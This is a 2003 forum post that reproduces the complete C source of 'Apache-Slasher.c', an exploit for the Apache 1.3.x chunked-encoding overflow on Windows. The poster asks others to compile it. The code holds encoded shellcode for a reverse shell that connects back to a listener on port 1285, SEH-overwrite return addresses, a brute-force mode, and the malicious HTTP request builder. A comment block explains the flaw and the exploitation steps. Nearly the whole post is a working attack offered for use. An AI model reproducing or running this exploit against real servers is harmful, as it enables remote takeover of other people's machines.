Apache-slasher.c working win32 apache exploit ?#1 Guest_Axl_*Posted 13 December 2003 - 08:27 AM
[/CODE]
* Apache-Slasher.c * Apache 1.3.2-1.3.24 Chunked Encoding Exploit * * Older versions of Apache (prior to 1.3.26) have a serious flaw * in a portion of code that handles HTTP post requests. The flaw * is related to a comparison of two signed integers when processing * HTTP/1.1 chunked encoding. A chunk typically has the following * form: * * <size> * <data> * * Where 'size' is in hexadecimal, so: * * 10 * 1234567890123456 * * is a valid chunk. Apache's ap_discard_request_body() API call uses * a static stack-based buffer for reading request body "blocks" of * 8190 bytes. This routine calls ap_get_client_block(), which does * not correctly account for the sign bit being enabled by a given * chunk size. That is, the comparison: * * len_to_read = (r->remaining > bufsiz ? bufsiz : r->remaining) * * does not account for the possibility that r->remaining (a value taken * from the chunk header) is negative (0x80000000-0xFFFFFFFF). * * The resulting call to ap_bread() contains a second error, in that it * ignores the sign bit when calling memcpy(), which results in a large * copy operation that exceeds the bounds of the buffer. It is somewhat * limiting, in that it restricts the attacker to the unread bytes of * the chunk header. However, these bytes can be anything, as the calls * to ap_bgetc() stop when ap_isxdigit() returns FALSE, rather than when * the first newline is received. * * Some third-party handlers call ap_discard_request_body() when handling * GET requests, as there is usually no purpose for an entity body. If * a handler returns an error, or no handler is available, the request is * handed off as a sub-request to mod_include, which calls the function. * This makes a default Apache 1.3.x install vulnerable, even if there * are no scripts offered. * * How the exploit works is fairly simple. The attack code sends a GET * request that should cause an ap_discard_request_body() call. This will * trigger a stack overflow inside ap_bread(), due to incorrect arithmatic * in ap_get_client_block(). The resulting memcpy() call that actually * causes the overflow does not return, as it attempts to copy anywhere * from 2 to 4 gigabytes of data into a stack frame that is only a few * megabytes in length. When the memcpy() call exceeds the bounds of the * stack, an access violation (exception 0xC0000005) occurs. * * You would expect the resulting SEH sequence to terminate the application, * but it does not. While Apache itself does not establish SEH frames, the * kernel32.dll library *does* for every thread when it is created. The * irritating application error dialog boxes are actually triggered from * inside this SEH frame. The corruption of this frame causes execution to * jump to an attacker-supplied payload -- the shellcode. The code is in * the HTTP headers submitted along with the request -- these are in a * heap-based buffer allocated following the I/O buffers used by Apache. * * The code used here is a simple TCP reverse shell over port 1285, which * (unfortunately) doesn't work with Windows 9x/Me. This is the only real * drawback of this code, with the exception of stringent firewalling. * Several people have claimed to have Win32-based exploits for this flaw, but * none (working) have appeared to this date. The exploitation of this flaw * in a global manner (i.e, not OS-specific) is difficult, but (as this code * demonstrates), not impossible. * * Address determination for your particular Apache should not be difficult, * as I believe that this combination of headers/return addresses will be * fairly constant, barring major differences in the CRT heap implementation. * However, there is a mode for brute-force if desired. * * As for compilation: MSVC/Win32 is guaranteed to compile and run. This * should work on other Win32 compilers, provided they include definitions * for wsock32.dll or ws2_32.dll. * * An average POSIX-compliant UNIX should be sufficient. As long as the * BSD socket interface is available, with select() and the FIONREAD * ioctl command. * * This exploit works perfectly with Windows Server 2003, even though it didn't * exist when development began. * * <Humor> * And today's quotes of the day are... * "Yo Steven! I think I found something ACCURATE in the ISS Advisory on * Apache! At least they got the part about Win32 right -- too bad it's * like 10 users, eh?" * * "Anybody here subscribed to X-Force's stuff? You wouldn't happen to * know when their next honeypot goes up yet, would you? I never got to * test out my phf exploit." * * Trick Question Trivia * * Q: How do you tell a secure box at ISS from a honeypot at ISS? * A: EASY! The former type does not exist! ISS employees are all * trained in honeypots, remember? * </Humor> * * Contact: * Matthew Murphy * E-mail: mattmurphy@kc.rr.com * AIM: NetAddict4109 * Web: http://techie.hopto.org/ * * Steven Fruchter * E-mail: steven_fruchter@hotmail.com */ #ifdef _WIN32 #define _MT #include <winsock.h> #include <process.h> #ifdef _DEBUG #pragma comment(linker, "/NODEFAULTLIB:libcd.lib") #pragma comment(linker, "/NODEFAULTLIB:msvcrtd.lib") #pragma comment(lib, "libcmtd.lib") #else #pragma comment(linker, "/NODEFAULTLIB:libc.lib") #pragma comment(linker, "/NODEFAULTLIB:msvcrt.lib") #pragma comment(lib, "libcmt.lib") #endif #pragma check_stack(off) #pragma comment(lib, "wsock32.lib") #else #include <sys/ioctl.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h> #endif #include <stdlib.h> #include <stdio.h> #include <time.h> struct target { char *name; int retaddr; }; static struct target victims[] = { { "Windows XP SP1", 0x03B61101 } }; #if (__BRUTE_STRONG__) /* Aggressive brute-force defaults */ #define BRUTE_START 0x01010101 #define BRUTE_STOP 0x80010101 #elif (__BRUTE_TIMELY__) /* Less-aggressive brute-force */ #define BRUTE_START 0x01010101 #define BRUTE_STOP 0x40010101 #else /* Least aggressive brute-force */ #define BRUTE_START 0x03010101 #define BRUTE_STOP 0x10010101 #endif #define REP_RETADDR 2045 /* How many times to repeat retaddr */ #define NOP_OPCODE 0x41 /* Opcode to use for NOP (one byte) */ #define SHELL_TIMEOUT 1 /* How many seconds to wait for reverse shell */ char sc[359] = "\xEB\x08\x90\x90\x90\xEB\x08\x90\x90\x90\xE8\xF6\xFF\xFF\xFF\x5D" "\x83\xED\xEA\x90\x90\x90\x33\xC9\x81\xE9\xC2\xFE\xFF\xFF\x80\x75" "\x00\x80\x45\xE2\xF9\x64\x67\x8B\x1E\x30\x00\x0B\xDB\x74\x13\x90" "\x90\x90\x90\x8B\x5B\x0C\x8B\x73\x1C\xAD\x8B\x58\x08\xEB\x0C\x90" "\x90\x90\x8B\x5B\x34\x8B\x9B\xB8\x00\x00\x00\x8B\x43\x3C\x8B\x44" "\x18\x78\x33\xFF\x4F\x47\x8B\x4C\x18\x20\x03\xCB\x8B\x0C\xB9\x81" "\x3C\x19\x47\x65\x74\x50\x75\xED\x81\x7C\x19\x04\x72\x6F\x63\x41" "\x75\xE3\xD1\xE7\x03\x7C\x18\x24\x0F\xB7\x3C\x1F\xC1\xE7\x02\x03" "\x7C\x18\x1C\x8B\x3C\x3B\x03\xFB\xE8\x0D\x00\x00\x00\x4C\x6F\x61" "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x53\xFF\xD7\xE8\x07\x00" "\x00\x00\x77\x73\x32\x5F\x33\x32\x00\xFF\xD0\x8B\xF0\x6A\x00\x6A" "\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xE8\x0B\x00\x00\x00\x57\x53" "\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x56\xFF\xD7\xFF\xD0\x83\xEC" "\x08\x8B\x4D\x00\x83\xF1\xFF\x51\x68\x02\x00\x05\x05\x8B\xCC\x6A" "\x10\x51\x50\xE8\x08\x00\x00\x00\x63\x6F\x6E\x6E\x65\x63\x74\x00" "\x56\x8B\xF0\xFF\xD7\xFF\xD0\x83\xEC\x54\x8B\xD4\x8B\xC4\xB9\x11" "\x00\x00\x00\xC7\x00\x00\x00\x00\x00\x83\xC0\x04\xE2\xF5\xC7\x02" "\x44\x00\x00\x00\xC7\x42\x2C\x01\x01\x00\x00\x89\x72\x38\x89\x72" "\x3C\x89\x72\x40\x8D\x42\x44\x50\x52\x6A\x00\x6A\x00\x6A\x00\x6A" "\x01\x6A\x00\x6A\x00\xE8\x04\x00\x00\x00\x63\x6D\x64\x00\x6A\x00" "\xE8\x0F\x00\x00\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65" "\x73\x73\x41\x00\x53\xFF\xD7\xFF\xD0\x64\x67\xC7\x06\x00\x00\x00" "\x00\x00\x00"; int time_begin; int got_shell = 0; void get_stdin_line(char *buffer) { fgets(buffer, 256, stdin); strtok(buffer, "\r\n"); return; } unsigned long try_shell(void *s) { int seconds = 0; int minutes = 0; int hours = 0; int days = 0; unsigned long argp = 0; struct fd_set fds_read; char buffer[512]; int len; int s2; #ifdef _WIN32 INPUT_RECORD ir; HANDLE hStdInput; HANDLE hStdOutput; DWORD rec; #else struct fd_set fds_read_spare; int stdin_flag; int sock_flag; #endif setvbuf(stdin, NULL, _IONBF, 0); memset(&fds_read, 0, sizeof(struct fd_set)); FD_SET((int)s, &fds_read); #ifdef _WIN32 hStdInput = GetStdHandle(STD_INPUT_HANDLE); hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleMode(hStdInput, ENABLE_LINE_INPUT|ENABLE_ECHO_INPUT|ENABLE_PROCESSED_INPUT); #else fcntl(0, F_SETFL, O_NONBLOCK); #endif s2 = accept((int)s, NULL, NULL); if (s2 >= 0) { got_shell = 1; printf("\r\n"); time_begin = time(NULL) - time_begin; seconds = time_begin % 60; time_begin -= seconds; time_begin /= 60; minutes = time_begin % 60; time_begin -= minutes; time_begin /= 60; hours = time_begin % 24; time_begin -= hours; time_begin /= 24; days = time_begin; printf("[Exploit completed in "); if (seconds) { if (minutes) { if (hours) { if (days) { printf("%d day%s, ", days, (days == 1 ? "" : "s")); } printf("%d hour%s, ", hours, (hours == 1 ? "" : "s")); } printf("%d minute%s, ", minutes, (minutes == 1 ? "" : "s")); } printf("%d second%s", seconds, (seconds == 1 ? "" : "s")); } else { printf("less than one second"); } printf("]\r\n\r\n"); #ifndef _WIN32 FD_SET(0, &fds_read_spare); FD_SET(s2, &fds_read_spare); #endif while (1) { #ifdef _WIN32 rec = 0; ir.EventType = 0; PeekConsoleInput(hStdInput, &ir, 1, &rec); if (rec) { if (ir.EventType != KEY_EVENT) { ReadConsoleInput(hStdInput, &ir, 1, &rec); } ReadConsole(hStdInput, buffer, 512, &len, NULL); send(s2, buffer, len, 0); recv(s2, buffer, len, 0); } ioctlsocket(s2, FIONREAD, &len); if (len) { len = recv(s2, buffer, len, 0); WriteConsole(hStdOutput, buffer, len, &len, NULL); } #else stdin_flag = 0; sock_flag = 0; memcpy(&fds_read, &fds_read_spare, sizeof(struct fd_set)); len = select(1, &fds_read_spare, NULL, NULL, NULL); switch(len) { case 2: stdin_flag = 1; sock_flag = 1; break; case 1: if (FD_ISSET(0, &fds_read)) { stdin_flag = 1; } else { sock_flag = 1; } break; default: printf("Unexpected error: Couldn't wait for readable descriptors!"); exit(-1); } if (stdin_flag) { len = read(0, buffer, 512); send(s2, buffer, len, 0); recv(s2, buffer, len, 0); } if (sock_flag) { len = recv(s2, buffer, 512, 0); write(0, buffer, len); } #endif } } return 0; } int main(int argc, char *argv[]) { int i; char buffer[257] = "\0"; char hdrbuffer[8193]; struct hostent *he; char pad; int server; int count; int client; struct sockaddr_in sa_in; unsigned long addr; unsigned short port; int retaddr; /* Windows XP, Apache 1.3.24 */ int brute = 0; int n; #ifdef _WIN32 WSADATA wsa_prov; if (WSAStartup(0x0101, &wsa_prov)) { printf("WSAStartup failed"); return -1; } #else int pid; int status; #endif printf("Apache 1.3.x (Win32) Chunked Encoding Exploit\r\n"); printf("By Matthew Murphy (mattmurphy@kc.rr.com) and \r\n"); printf("Steven Fruchter (steven_fruchter@hotmail.com)\r\n\r\n"); for (i = 37; i < sizeof(sc) - 4; i++) { sc[i] = sc[i] ^ 0x80; } if (gethostname(buffer, 256)) { printf("gethostname failed, please enter hostname manually: "); get_stdin_line(buffer); } he = gethostbyname(buffer); if (!he) { printf("Invalid local host name, please enter IP manually: "); get_stdin_line(buffer); addr = inet_addr(buffer); } else { addr = *(unsigned long *)he->h_addr; } server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (server < 0) { printf("ERROR: Cannot create listener socket"); return -1; } sa_in.sin_family = AF_INET; sa_in.sin_port = htons(1285); sa_in.sin_addr.s_addr = addr; addr ^= 0xFFFFFFFF; memcpy(&sc[355], &addr, sizeof(unsigned long)); if (bind(server, (const struct sockaddr *)&sa_in, sizeof(struct sockaddr_in))) { printf("ERROR: Cannot bind to listener port"); return -1; } if (listen(server, 256)) { printf("ERROR: Cannot listen to reverse shell port"); return -1; } while (1) { printf("Target hostname: "); get_stdin_line(buffer); he = gethostbyname(buffer); if (he) { break; } printf("ERROR: Invalid hostname\r\n"); } sa_in.sin_addr.s_addr = *(unsigned long *)he->h_addr; printf("Target port: "); buffer[0] = 0; get_stdin_line(buffer); if (!buffer[0]) { port = 80; } else { port = (unsigned short)atoi(buffer); } printf("Use brute-force mode [Y/N]: "); get_stdin_line(buffer); if (buffer[0] == 'Y' || buffer[0] == 'y') { brute = 1; retaddr = BRUTE_START; } else { printf("Targets\r\n"); for (i = 0; i < sizeof(victims) / sizeof(struct target); i++) { printf(" %d\t%s\r\n", i+1, victims[i].name); } printf(" %d\tOther\r\n", i+1); get_stdin_line(buffer); sscanf(buffer, "%d", &i); i--; if (i >= sizeof(victims) / sizeof(struct target)) { printf("Enter return address: "); get_stdin_line(buffer); sscanf((const char *)(buffer[0] == '0' && (buffer[1] == 'x' || buffer[1] == 'X' ? &buffer[2] : buffer)), "%x", &retaddr); } else { retaddr = victims[i].retaddr; } } printf("Request filename: "); buffer[0] = 0; get_stdin_line(buffer); if (!buffer[0]) { strcpy(buffer, "/error/HTTP_NOT_FOUND.html.var"); } memset(hdrbuffer, NOP_OPCODE, sizeof(hdrbuffer)-1); hdrbuffer[sizeof(hdrbuffer)-1] = 0; hdrbuffer[sizeof(hdrbuffer)-2] = 0x0A; hdrbuffer[sizeof(hdrbuffer)-3] = 0x0D; memcpy(&hdrbuffer[sizeof(hdrbuffer)-sizeof(sc)-3], sc, sizeof(sc)); strncpy(hdrbuffer, "X-AAA: ", 7); sa_in.sin_port = htons(port); time_begin = (int)time(NULL); #ifdef _WIN32 _beginthread(&try_shell, 0, (void *)server); #else pid = (int)fork(); if (pid == -1) { printf("fork() failed"); exit(-1); } else if (pid) { try_shell((void *)server); } #endif count = 0; do { if (brute && (char)retaddr != 1) { printf("Return address 0x%.8X incorrect, ", retaddr); retaddr -= (char)retaddr; retaddr++; } if (!brute) { printf("Attempting return address 0x%.8X...\r\n", retaddr); } if (count == 20) { printf("."); count = 0; } client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(client, (const struct sockaddr *)&sa_in, sizeof(struct sockaddr_in))) { printf("connect() failed"); return -1; } send(client, "GET ", 4, 0); send(client, buffer, strlen(buffer), 0); send(client, " HTTP/1.1\r\nHost: unknown\r\nTransfer-Encoding: chunked\r\n", 54, 0); pad = 0x30; for (i = 0; i < 62; i++) { pad++; if (pad == 0x3A) { pad = 0x41; } else if (pad == 0x5B) { pad = 0x61; } hdrbuffer[4] = pad; send(client, hdrbuffer, sizeof(hdrbuffer)-1, 0); } send(client, "\r\nFFFFFFF0", 10, 0); for (n = 0; n < REP_RETADDR; n++) { send(client, (const char *)&retaddr, sizeof(retaddr), 0); } send(client, "\r\n", 2, 0); retaddr += 0x1000; if (brute) { if ((char)(retaddr >> 8) == 0 || (char)(retaddr >> 8) == 0x0D || (char)(retaddr >> 8) == 0x0A) { retaddr += 0x100; } if ((char)(retaddr >> 16) == 0 || (char)(retaddr >> 16) == 0x0D || (char)(retaddr >> 16) == 0x0A) { retaddr += 0x10000; } if ((char)(retaddr >> 24) == 0 || (char)(retaddr >> 24) == 0x0D || (char)(retaddr >> 24) == 0x0A) { retaddr += 0x1000000; } } #ifdef _WIN32 closesocket(client); #else close(client); #endif count++; } while ((brute ? retaddr < BRUTE_STOP && !got_shell : 0)); got_shell = 0; #ifdef _WIN32 Sleep(5000); if (got_shell) { Sleep(INFINITE); } WSACleanup(); #else sleep(5); if (!got_shell) { kill(pid, SIGTERM); } wait(&status); #endif return 0; } [CODE] i ran into trouble while compiling... can somebody compile 4 us ?
#5
|
Our Sponsors: |

Sign In
Register
Help
MultiQuote
